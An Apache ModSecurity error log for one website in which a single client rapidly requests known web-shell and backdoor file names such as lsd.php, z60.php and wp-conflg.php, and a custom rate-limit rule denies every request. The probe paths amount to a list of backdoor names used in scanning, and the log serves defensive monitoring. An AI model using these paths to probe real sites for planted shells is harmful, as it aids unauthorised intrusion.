[Sun Mar 01 00:22:10.092943 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2288] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaMWMg2UMRAYWtDB23SaDwAAAQc"]
[Sun Mar 01 00:22:10.380942 2026] [:error] [pid 53600:tid 53605] [client 4.241.228.159:2250] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaMWMg2UMRAYWtDB23SaEgAAAQI"]
[Sun Mar 01 00:22:10.612446 2026] [:error] [pid 30798:tid 30918] [client 4.241.228.159:2286] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaMWMsBkD73gO8wTonY4LgAAAJM"]
[Sun Mar 01 00:22:10.839693 2026] [:error] [pid 53600:tid 53619] [client 4.241.228.159:2341] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaMWMg2UMRAYWtDB23SaFAAAARA"]
[Sun Mar 01 00:22:11.071131 2026] [:error] [pid 30798:tid 30914] [client 4.241.228.159:2315] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaMWM8BkD73gO8wTonY4MAAAAI8"]
[Sun Mar 01 00:22:11.330053 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2438] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaMWMxfvwGOholYpM1E5ywAAANY"]
[Sun Mar 01 00:22:11.555080 2026] [:error] [pid 31190:tid 31213] [client 4.241.228.159:2347] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaMWMxfvwGOholYpM1E5zQAAAMc"]
[Sun Mar 01 00:22:11.842136 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2317] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaMWMxfvwGOholYpM1E50gAAAMY"]
[Sun Mar 01 00:22:12.153803 2026] [:error] [pid 31190:tid 31208] [client 4.241.228.159:2339] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaMWNBfvwGOholYpM1E51gAAAMI"]
[Sun Mar 01 00:22:12.380572 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2283] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaMWNBfvwGOholYpM1E52AAAAM0"]
[Sun Mar 01 00:22:12.618553 2026] [:error] [pid 31190:tid 31230] [client 4.241.228.159:2308] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaMWNBfvwGOholYpM1E52QAAANg"]
[Sun Mar 01 00:22:12.916829 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2318] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaMWNBfvwGOholYpM1E53AAAAMQ"]
[Sun Mar 01 00:22:13.155964 2026] [:error] [pid 30797:tid 30892] [client 4.241.228.159:2344] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaMWNfQmcmSQL-3rvLD3XgAAAFU"]
[Sun Mar 01 00:22:13.392791 2026] [:error] [pid 30798:tid 30907] [client 4.241.228.159:2324] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaMWNcBkD73gO8wTonY4NwAAAIg"]
[Sun Mar 01 00:22:13.617541 2026] [:error] [pid 31190:tid 31209] [client 4.241.228.159:2313] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaMWNRfvwGOholYpM1E54gAAAMM"]
[Sun Mar 01 00:22:13.889914 2026] [:error] [pid 30795:tid 30822] [client 4.241.228.159:2340] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaMWNWuI44IL94Zgti-iVwAAAA4"]
[Sun Mar 01 00:22:14.116944 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2305] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaMWNg2UMRAYWtDB23SaIQAAARU"]
[Sun Mar 01 00:22:14.379223 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2461] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaMWNhfvwGOholYpM1E55QAAAM4"]
[Sun Mar 01 00:22:14.688032 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2336] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaMWNg2UMRAYWtDB23SaKAAAAQU"]
[Sun Mar 01 00:22:14.944450 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2282] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaMWNg2UMRAYWtDB23SaKQAAAQc"]
[Sun Mar 01 00:22:15.232264 2026] [:error] [pid 31190:tid 31214] [client 4.241.228.159:2293] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaMWNxfvwGOholYpM1E56gAAAMg"]
[Sun Mar 01 00:22:15.566050 2026] [:error] [pid 31190:tid 31229] [client 4.241.228.159:2245] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaMWNxfvwGOholYpM1E56wAAANc"]
[Sun Mar 01 00:22:15.806582 2026] [:error] [pid 31190:tid 31217] [client 4.241.228.159:2306] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaMWNxfvwGOholYpM1E57gAAAMs"]
[Sun Mar 01 00:22:16.076534 2026] [:error] [pid 53600:tid 53618] [client 4.241.228.159:2457] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaMWOA2UMRAYWtDB23SaMQAAAQ8"]
[Sun Mar 01 00:22:16.313952 2026] [:error] [pid 30795:tid 30825] [client 4.241.228.159:2268] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaMWOGuI44IL94Zgti-iWwAAABE"]
[Sun Mar 01 00:22:16.589921 2026] [:error] [pid 30795:tid 30821] [client 4.241.228.159:2298] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWOGuI44IL94Zgti-iXQAAAA0"]
[Sun Mar 01 00:22:16.836266 2026] [:error] [pid 30798:tid 30915] [client 4.241.228.159:2352] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWOMBkD73gO8wTonY4OwAAAJA"]
[Sun Mar 01 00:22:17.163023 2026] [:error] [pid 30795:tid 30807] [client 4.241.228.159:2367] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWOWuI44IL94Zgti-iYAAAAAA"]
[Sun Mar 01 00:22:17.418093 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2364] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWORfvwGOholYpM1E5-AAAAM0"]
[Sun Mar 01 00:22:17.736518 2026] [:error] [pid 30795:tid 30828] [client 4.241.228.159:2353] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaMWOWuI44IL94Zgti-iZQAAABQ"]
[Sun Mar 01 00:22:17.983305 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2321] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaMWOQ2UMRAYWtDB23SaNgAAAQU"]
[Sun Mar 01 00:22:18.228043 2026] [:error] [pid 30797:tid 30879] [client 4.241.228.159:2334] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaMWOvQmcmSQL-3rvLD3YAAAAEg"]
[Sun Mar 01 00:22:18.498565 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2272] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaMWOhfvwGOholYpM1E5_AAAAMw"]
[Sun Mar 01 00:22:18.819632 2026] [:error] [pid 30798:tid 30901] [client 4.241.228.159:2242] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaMWOsBkD73gO8wTonY4PgAAAII"]
[Sun Mar 01 00:22:19.048776 2026] [:error] [pid 31190:tid 31221] [client 4.241.228.159:2322] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaMWOxfvwGOholYpM1E5_wAAAM8"]
[Sun Mar 01 00:22:19.379876 2026] [:error] [pid 30798:tid 30911] [client 4.241.228.159:2345] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaMWO8BkD73gO8wTonY4QgAAAIw"]
[Sun Mar 01 00:22:19.614663 2026] [:error] [pid 30795:tid 30827] [client 4.241.228.159:2247] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaMWO2uI44IL94Zgti-ibQAAABM"]
[Sun Mar 01 00:22:19.853867 2026] [:error] [pid 30798:tid 30904] [client 4.241.228.159:2290] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaMWO8BkD73gO8wTonY4RQAAAIU"]
[Sun Mar 01 00:22:20.104023 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2240] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaMWPBfvwGOholYpM1E6AwAAANU"]
[Sun Mar 01 00:22:20.360613 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2277] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaMWPMBkD73gO8wTonY4RgAAAJI"]
[Sun Mar 01 00:22:20.616456 2026] [:error] [pid 30798:tid 30918] [client 4.241.228.159:2342] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaMWPMBkD73gO8wTonY4RwAAAJM"]
[Sun Mar 01 00:22:20.856804 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2252] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaMWPGuI44IL94Zgti-idAAAAAc"]
[Sun Mar 01 00:22:21.084884 2026] [:error] [pid 31190:tid 31224] [client 4.241.228.159:2284] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaMWPRfvwGOholYpM1E6CwAAANI"]
[Sun Mar 01 00:22:21.366892 2026] [:error] [pid 30797:tid 30882] [client 4.241.228.159:2439] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaMWPfQmcmSQL-3rvLD3YwAAAEs"]
[Sun Mar 01 00:22:21.633695 2026] [:error] [pid 30797:tid 30889] [client 4.241.228.159:2323] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaMWPfQmcmSQL-3rvLD3ZAAAAFI"]
[Sun Mar 01 00:22:21.872065 2026] [:error] [pid 30795:tid 30818] [client 4.241.228.159:2259] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaMWPWuI44IL94Zgti-ieQAAAAo"]
[Sun Mar 01 00:22:22.148669 2026] [:error] [pid 53600:tid 53623] [client 4.241.228.159:2337] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaMWPg2UMRAYWtDB23SaPgAAARQ"]
[Sun Mar 01 00:22:22.384577 2026] [:error] [pid 53600:tid 53607] [client 4.241.228.159:2503] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaMWPg2UMRAYWtDB23SaQAAAAQQ"]
[Sun Mar 01 00:22:22.637731 2026] [:error] [pid 31190:tid 31207] [client 4.241.228.159:2467] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaMWPhfvwGOholYpM1E6EgAAAME"]
[Sun Mar 01 00:22:22.931902 2026] [:error] [pid 53600:tid 53626] [client 4.241.228.159:2301] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaMWPg2UMRAYWtDB23SaRQAAARc"]
[Sun Mar 01 00:22:23.174547 2026] [:error] [pid 53600:tid 53604] [client 4.241.228.159:2456] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaMWPw2UMRAYWtDB23SaSAAAAQE"]
[Sun Mar 01 00:22:23.448259 2026] [:error] [pid 53600:tid 53614] [client 4.241.228.159:2287] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaMWPw2UMRAYWtDB23SaTAAAAQs"]
[Sun Mar 01 00:22:23.674153 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2358] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaMWPw2UMRAYWtDB23SaTwAAARM"]
[Sun Mar 01 00:22:23.919420 2026] [:error] [pid 31190:tid 31229] [client 4.241.228.159:2291] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaMWPxfvwGOholYpM1E6FgAAANc"]
[Sun Mar 01 00:22:24.147404 2026] [:error] [pid 30798:tid 30900] [client 4.241.228.159:2329] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaMWQMBkD73gO8wTonY4UAAAAIE"]
[Sun Mar 01 00:22:24.378743 2026] [:error] [pid 30798:tid 30911] [client 4.241.228.159:2289] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaMWQMBkD73gO8wTonY4UgAAAIw"]
[Sun Mar 01 00:22:24.632835 2026] [:error] [pid 30798:tid 30902] [client 4.241.228.159:2466] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaMWQMBkD73gO8wTonY4UwAAAIM"]
